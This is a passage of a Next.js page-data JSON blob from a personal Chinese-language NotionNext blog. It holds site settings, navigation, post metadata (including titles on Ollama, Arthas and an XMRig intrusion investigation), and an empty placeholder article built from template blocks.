+              </script></div><script id="__NEXT_DATA__" type="application/json" crossorigin="">{"props":{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection\u0026id=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026t=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026width=800"},"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf\u0026width=800\u0026fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":8,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"post":{"id":"973ede9c-1a10-4482-be06-324fd481d34f","date":{"start_date":"2021-07-02"},"type":"Post","category":"未发布","slug":"article/example-5","tags":["健康","推荐"],"summary":"仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容","title":"空白文章5","status":"Invisible","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-19T02:19:53.512Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://images.unsplash.com/photo-1495446815901-a7297e633e8d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=973ede9c-1a10-4482-be06-324fd481d34f","pageCoverThumbnail":"https://images.unsplash.com/photo-1495446815901-a7297e633e8d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=973ede9c-1a10-4482-be06-324fd481d34f\u0026width=800\u0026fmt=webp","tagItems":[{"name":"健康","color":"pink"},{"name":"推荐","color":"red"}],"password":"","blockMap":{"block":{"973ede9c-1a10-4482-be06-324fd481d34f":{"value":{"id":"973ede9c-1a10-4482-be06-324fd481d34f","version":7,"type":"page","content":["97b83613-915a-4ab9-b3bd-d68db83d3dfe","76627ca2-ce5d-4b07-8adb-1d2baaceca38","3ef21e28-96e0-4b50-8043-d771fe23d0fc","95094071-4dd0-4628-86a6-d07b52bb9067","0460e20c-39fa-4594-801c-8f753bea4b61","44ea8fdc-6fe8-450d-af6d-f2d982217321","9662722c-31b7-4302-852b-2fe7427cc937","acb29127-3d87-47df-99c5-f56f06aab68f","c63c1c5f-6238-4bc9-a8e6-b6fe8f6ca5d5","be3b1067-d077-4577-98b1-11c956cdafec","317692a5-d6ee-4280-a4ab-f2dfce327b3d","1f01e029-d2df-4c21-b861-37b1d26b4f34","1c513562-34eb-47dc-8f40-84dcc70cda9f","9f57a9c3-c1c0-4855-be67-6f499b8416fd"],"format":{"page_font":"mono","page_icon":"🗒️","page_cover":"https://images.unsplash.com/photo-1495446815901-a7297e633e8d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb","block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","copied_from_pointer":{"id":"34bd81fe-b03a-4186-adfd-d51b94463aa0","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.5},"created_time":1705594337111,"last_edited_time":1705630793512,"parent_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","parent_table":"collection","alive":true,"copied_from":"34bd81fe-b03a-4186-adfd-d51b94463aa0","created_by_table":"notion_user","created_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","last_edited_by_table":"notion_user","last_edited_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"87ff73a8-1273-4f5f-96c1-cd1becb07207":{"value":{"id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","type":"collection_view_page","content":["50fa88a0-6936-488c-8abc-b558b6a7b0d6"],"view_ids":["8e40545c-4d1c-4299-8605-c04d7ab6872f","818d9fe2-a27d-40ec-b827-614939109ca4","ad494b39-a38c-415e-9221-325f0f9be280","58c6fb90-5030-4627-8bad-38b57c3253cd"],"collection_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","format":{"block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","collection_pointer":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","table":"collection","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"copied_from_pointer":{"id":"19c33d8c-a320-4635-ab97-ddf00a96c478","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.6},"permissions":[{"role":"editor","type":"user_permission","user_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16"},{"role":"comment_only","type":"public_permission","added_timestamp":1705594424869,"allow_duplicate":false,"allow_search_engine_indexing":true}],"created_time":1705594337173,"last_edited_time":1711431614088,"parent_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175","parent_table":"space","alive":true,"copied_from":"19c33d8c-a320-4635-ab97-ddf00a96c478"}},"97b83613-915a-4ab9-b3bd-d68db83d3dfe":{"value":{"id":"97b83613-915a-4ab9-b3bd-d68db83d3dfe","type":"callout","properties":{"title":[["这里写文章的前言:\n一个简单的开头,简述这篇文章讨论的问题、目标、人物、背景是什么?并简述你给出的答案。"]]},"content":["ec4d6982-b479-4cd8-83e3-0decb842bb37"],"format":{"page_icon":"😀","block_color":"gray_background","copied_from_pointer":{"id":"b67e0749-258c-4857-ba08-53489734171d","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337119,"last_edited_time":1705594337119,"parent_id":"973ede9c-1a10-4482-be06-324fd481d34f","parent_table":"block","alive":true,"copied_from":"b67e0749-258c-4857-ba08-53489734171d"}},"ec4d6982-b479-4cd8-83e3-0decb842bb37":{"value":{"id":"ec4d6982-b479-4cd8-83e3-0decb842bb37","type":"text","properties":{"title":[["可以说说你的故事:阻碍、努力、结果成果,意外与转折。"]]},"format":{"copied_from_pointer":{"id":"86d4fc22-f951-4316-8dbf-7dc0c54d1a4f","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337156,"last_edited_time":1705594337156,"parent_id":"97b83613-915a-4ab9-b3bd-d68db83d3dfe","parent_table":"block","alive":true,"copied_from":"86d4fc22-f951-4316-8dbf-7dc0c54d1a4f"}},"76627ca2-ce5d-4b07-8adb-1d2baaceca38":{"value":{"id":"76627ca2-ce5d-4b07-8adb-1d2baaceca38","type":"text","format":{"copied_from_pointer":{"id":"8c180aeb-a4a7-41e2-8409-1023db2273ec","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337118,"last_edited_time":1705594337118,"parent_id":"973ede9c-1a10-4482-be06-324fd481d34f","parent_table":"block","alive":true,"copied_from":"8c180aeb-a4a7-41e2-8409-1023db2273ec"}},"3ef21e28-96e0-4b50-8043-d771fe23d0fc":{"value":{"id":"3ef21e28-96e0-4b50-8043-d771fe23d0fc","type":"header","properties":{"title":[["📝 主旨内容"]]},"format":{"copied_from_pointer":{"id":"ccdbf954-5571-4ea0-8990-279b4345a859","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337119,"last_edited_time":1705594337119,"parent_id":"973ede9c-1a10-4482-be06-324fd481d34f","parent_table":"block","alive":true,"copied_from":"ccdbf954-5571-4ea0-8990-279b4345a859"}},"95094071-4dd0-4628-86a6-d07b52bb9067":{"value":{"id":"95094071-4dd0-4628-86a6-d07b52bb9067","type":"sub_header","properties":{"title":[["观点1"]]},"format":{"copied_from_pointer":{"id":"e85e174c-0944-4404-9186-a1e22e0d29dc","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337119,"last_edited_time":1705594337119,"parent_id":"973ede9c-1a10-4482-be06-324fd481d34f","parent_table":"block","alive":true,"copied_from":"e85e174c-0944-4404-9186-a1e22e0d29dc"}},"0460e20c-39fa-4594-801c-8f753bea4b61":{"value":{"id":"0460e20c-39fa-4594-801c-8f753bea4b61","type":"quote","properties":{"title":[["引用的话语"]]},"format":{"copied_from_pointer":{"id":"56654ee4-e22b-46b9-aa23-c09899f6dc3c","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337118,"last_edited_time":1705594337118,"parent_id":"973ede9c-1a10-4482-be06-324fd481d34f","parent_table":"block","alive":true,"copied_from":"56654ee4-e22b-46b9-aa23-c09899f6dc3c"}},"44ea8fdc-6fe8-450d-af6d-f2d982217321":{"value":{"id":"44ea8fdc-6fe8-450d-af6d-f2d982217321","type":"sub_header","properties":{"title":[["观点2"]]},"format":{"copied_from_pointer":{"id":"0d0c4b6e-9dd9-4ef3-a8ff-d54048b6b7c1","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337118,"last_edited_time":1705594337118,"parent_id":"973ede9c-1a10-4482-be06-324fd481d34f","parent_table":"block","alive":true,"copied_from":"0d0c4b6e-9dd9-4ef3-a8ff-d54048b6b7c1"}},"9662722c-31b7-4302-852b-2fe7427cc937":{"value":{"id":"9662722c-31b7-4302-852b-2fe7427cc937","type":"quote","properties":{"title":[["引用的话语"]]},"format":{"copied_from_pointer":{"id":"158af8f8-e821-4650-b339-855c4fde959c","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337118,"last_edited_time":1705594337118,"parent_id":"973ede9c-1a10-4482-be06-324fd481d34f","parent_table":"block","alive":true,"copied_from":"158af8f8-e821-4650-b339-855c4fde959c"}},"acb29127-3d87-47df-99c5-f56f06aab68f":{"value":{"id":"acb29127-3d87-47df-99c5-f56f06aab68f","type":"header","properties":{"title":[["🤗 总结归纳"]]},"format":{"copied_from_pointer":{"id":"7889a079-b667-4d4b-b03e-3a0636e2c604","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337118,"last_edited_time":1705594337118,"parent_id":"973ede9c-1a10-4482-be06-324fd481d34f","parent_table":"block","alive":true,"copied_from":"7889a079-b667-4d4b-b03e-3a0636e2c604"}},"c63c1c5f-6238-4bc9-a8e6-b6fe8f6ca5d5":{"value":{"id":"c63c1c5f-6238-4bc9-a8e6-b6fe8f6ca5d5","type":"text","properties":{"title":[["总结文章的内容"]]},"format":{"copied_from_pointer":{"id":"362ba40a-88a2-4a14-b90e-662d27139ea5","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337118,"last_edited_time":1705594337118,"parent_id":"973ede9c-1a10-4482-be06-324fd481d34f","parent_table":"block","alive":true,"copied_from":"362ba40a-88a2-4a14-b90e-662d27139ea5"}},"be3b1067-d077-4577-98b1-11c956cdafec":{"value":{"id":"be3b1067-d077-4577-98b1-11c956cdafec","type":"header","properties":{"title":[["📎 参考文章"]]},"format":{"copied_from_pointer":{"id":"93197208-c9a4-48b0-aa20-6ace5dc3a8c3","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337118,"last_edited_time":1705594337118,"parent_id":"973ede9c-1a10-4482-be06-324fd481d34f","parent_table":"block","alive":true,"copied_from":"93197208-c9a4-48b0-aa20-6ace5dc3a8c3"}},"317692a5-d6ee-4280-a4ab-f2dfce327b3d":{"value":{"id":"317692a5-d6ee-4280-a4ab-f2dfce327b3d","type":"bulleted_list","properties":{"title":[["一些引用"]]},"format":{"copied_from_pointer":{"id":"a93476d2-ce30-48eb-8062-1cb1bc961f2c","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337118,"last_edited_time":1705594337118,"parent_id":"973ede9c-1a10-4482-be06-324fd481d34f","parent_table":"block","alive":true,"copied_from":"a93476d2-ce30-48eb-8062-1cb1bc961f2c"}},"1f01e029-d2df-4c21-b861-37b1d26b4f34":{"value":{"id":"1f01e029-d2df-4c21-b861-37b1d26b4f34","type":"bulleted_list","properties":{"title":[["引用文章"]]},"format":{"copied_from_pointer":{"id":"6fda715e-6852-44f9-b738-86f0d6bae992","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337118,"last_edited_time":1705594337118,"parent_id":"973ede9c-1a10-4482-be06-324fd481d34f","parent_table":"block","alive":true,"copied_from":"6fda715e-6852-44f9-b738-86f0d6bae992"}},"1c513562-34eb-47dc-8f40-84dcc70cda9f":{"value":{"id":"1c513562-34eb-47dc-8f40-84dcc70cda9f","type":"text","format":{"copied_from_pointer":{"id":"3877c97b-b87b-454d-9088-ddd1d4604129","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337118,"last_edited_time":1705594337118,"parent_id":"973ede9c-1a10-4482-be06-324fd481d34f","parent_table":"block","alive":true,"copied_from":"3877c97b-b87b-454d-9088-ddd1d4604129"}},"9f57a9c3-c1c0-4855-be67-6f499b8416fd":{"value":{"id":"9f57a9c3-c1c0-4855-be67-6f499b8416fd","type":"callout","properties":{"title":[["有关Notion安装或者使用上的问题,欢迎您在底部评论区留言,一起交流~"]]},"format":{"page_icon":"💡","block_color":"gray_background","copied_from_pointer":{"id":"aba0d28b-e446-46b1-b05e-bd1b1d8d7d1d","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337119,"last_edited_time":1705594337119,"parent_id":"973ede9c-1a10-4482-be06-324fd481d34f","parent_table":"block","alive":true,"copied_from":"aba0d28b-e446-46b1-b05e-bd1b1d8d7d1d"}}},"collection":{"3c6ddc29-47df-43f6-a375-de1c3a9cf466":{"value":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","version":13,"name":[["Both 